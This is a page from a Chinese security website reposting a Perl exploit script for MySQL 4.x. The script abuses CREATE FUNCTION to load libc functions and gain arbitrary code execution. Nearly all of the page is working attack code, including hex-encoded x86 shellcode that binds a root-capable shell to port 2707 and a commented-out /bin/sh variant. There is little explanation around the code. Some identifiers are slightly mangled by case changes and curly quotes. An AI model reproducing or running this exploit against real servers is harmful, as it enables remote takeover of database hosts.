您现在的位置: 捷凌网安 >> 编程语言 >> Exploite >> 正文
Mysql 4.x "CREATE FUNCTION" libc Arbitrary Code Execution Exploit

作者:佚名 责任编辑:左决 点击数: 更新时间:2008-2-16 6:57:41

以下是引用片段:
#!/usr/bin/perl
## Mysql CREATE FUNCTION libc arbITrary code execution.
##
## Author: Stefano Di Paola
## Vulnerable: Mysql <= 4.0.23, 4.1.10 
## Type of VulnerabilITy: Local/Remote - input validation
## Tested On : Mandrake 10.1 /Debian Sarge
## Vendor Status: Notified on March 2005
## 
## Copyright 2005 Stefano Di Paola ([email]stefano.dipaola@wisec.IT[/email])
##
##
## Disclaimer:
## In no event shall the author be liable for any damages
## whatsoever arising out of or in connection wITh the use
## or spread of this information.
## Any use of this information is at the user’s own risk.
##
## 
## 
## It calls on_exIT(address) 
## then overwrites the address wITh strcat or strcpy
## and then calls exIT
## 
## Usage: 
## perl myexp.pl numberofnops offset
## Example:
## perl myexp.pl 3 0
################################################

use strict;
use DBI();
use Data::Dumper;
use constant DEBUG => 0;
use constant PASS => "USEYOURPASSHERE";
# Connect to the database.
my $dbh = DBI->connect("DBI:mysql:database=test;host=localhost",
"root", PASS ,{’RaiseError’ => 1});

### This is the opcode pointed by the address where on_exIT jumps
###
### 
### 0x3deb jmp 0x3d
### but needs to be decremented by 2. ("shell",0x0x3de9,0)
## -1 -1 = 0x3de9-2
# resulting in 0x3deb
## 0x3d is the distance from the address on_exIT calls and the beginning of
## bind shell "\x6a\x66\x58\x6a\x01....
my $jmp=0x3de9+($ARGV[1]<<8);
printf("Using %x\n",$jmp); 
my $zeros="0,"x($jmp);
### Bind_shell... works.....but maybe needs some nop \x90
### so i use argv[0] to repeat \x90
### IT binds a shell to port 2707 (\x0a\x93)
my $shell= ("\x90"x$ARGV[0])."\x6a\x66\x58\x6a\x01".
"\x5b\x99\x52\x53\x6a\x02\x89".
"\xe1\xcd\x80\x52\x43\x68\xff\x02\x0a\x93\x89\xe1".
"\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80".
"\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0".
"\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80".
"\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f".
"\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

########### Bash !!!!!!!!!!!###############
# my $shell=("\x90"x$ARGV[0])."\x6a\x0b\x58\x99\x52\x68".
# "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";
my $onex_create="create function on_exIT returns integer soname ’libc.so.6’;";
print $onex_create,"\n" if(DEBUG);
my $sth = $dbh->prepare($onex_create);
if (!$sth) {
print "Error:" . $dbh->errstr . "\n";
}
eval {$sth->execute};
if($@){
print "Error:" . $sth->errstr . "\n";
}


my $strcat_create="create function strcat returns string soname ’libc.so.6’;";
print $strcat_create,"\n" if(DEBUG);
my $sth = $dbh->prepare($strcat_create);
if (!$sth) {
print "Error:" . $dbh->errstr . "\n";
}
eval {$sth->execute};
if($@){
print "Error:" . $sth->errstr . "\n";
}

my $exit_create="create function exIT returns integer soname ’libc.so.6’;";
print $exIT_create,"\n" if(DEBUG);
my $sth = $dbh->prepare($exIT_create);
if (!$sth) {
print "Error:" . $dbh->errstr . "\n";
}
eval {$sth->execute};
if($@){
print "Error:" . $sth->errstr . "\n";
}

my $onex="select on_exIT(’".$shell."’,".$zeros."0), strcat(0);";
print "select on_exIT(’".$shell."’, 0), strcat(0);";
print $onex,"\n" if(DEBUG);
my $sth = $dbh->prepare($onex);
if (!$sth) {
print "Error:" . $dbh->errstr . "\n";
}
print "Select on_exIT\n";

if (!$sth->execute) {
print "Error:" . $sth->errstr . "\n";
}
while (my $ref = $sth->fetchrow_hashref()) {
print Dumper($ref);
}


my $strc="select strcat(’".$shell."’,".$zeros."0), exIT(0);";
print $strc,"\n" if(DEBUG);
$sth = $dbh->prepare($strc);
if (!$sth) {
print "Error:" . $dbh->errstr . "\n";
}

if (!$sth->execute) {
print "Error:" . $sth->errstr . "\n";
}
print "Select exIT\n"; 
  • 上一篇文章:

  • 下一篇文章:
  •  
    最进更新
    普通文章VC++设计超强仿QQ自动伸缩窗04-17
    推荐文章基于HOOK和MMF的Win密码渗透04-17
    推荐文章几种VC++数据库开发技术的相04-17
    普通文章多线程、Socket技术及委托技04-11
    推荐文章VB.Net连接各种数据库的几种04-11
    普通文章VB.NET中的多窗体编程:升级04-11
    普通文章用VB.NET定制Windows控件04-11
    普通文章VB.NET中监视文件夹的变化04-11
    普通文章VB.NET中对象的克隆04-11
    推荐文章VB.NET中的TextBox控件详解04-11
     
    推荐文章
    推荐文章基于HOOK和MMF的Win密码渗透04-17
    推荐文章几种VC++数据库开发技术的相04-17
    推荐文章VB.Net连接各种数据库的几种04-11
    推荐文章VB.NET中的TextBox控件详解04-11
    推荐文章在VB.NET中进行抓屏04-11
    推荐文章VB.Net开发的长内容自动分页04-11
    推荐文章VB.NET中快速访问注册表技巧04-11
    推荐文章PHP5手动最简安装方法03-07
    推荐文章完全讲解PHP+MySQL的分页显示03-07
    推荐文章Linux Shell元字符知识笔记02-21
     
    热点文章 
    普通文章VC++设计超强仿QQ自动伸缩窗04-17
    推荐文章基于HOOK和MMF的Win密码渗透04-17
    推荐文章几种VC++数据库开发技术的相04-17
    普通文章VB.NET中的多窗体编程:升级04-11
    普通文章用VB.NET定制Windows控件04-11
    普通文章VB.NET中对象的克隆04-11
    推荐文章VB.NET中的TextBox控件详解04-11
    普通文章VB/VB.NET/C#导出到Excel的方04-11
    普通文章如何通过VB.NET获取网卡地址04-11
    普通文章VB.NET中使用ListView控件的04-11

    | 设为首页 | 加入收藏 | 联系站长 | 广告服务 | 友情链接 | 版权申明 | 网站地图 |

    在线交流 捷凌网安主群:51649627
    Copyright 2007-2008 © 捷凌网安. All rights reserved.
    备案序号:蜀ICP备08001812号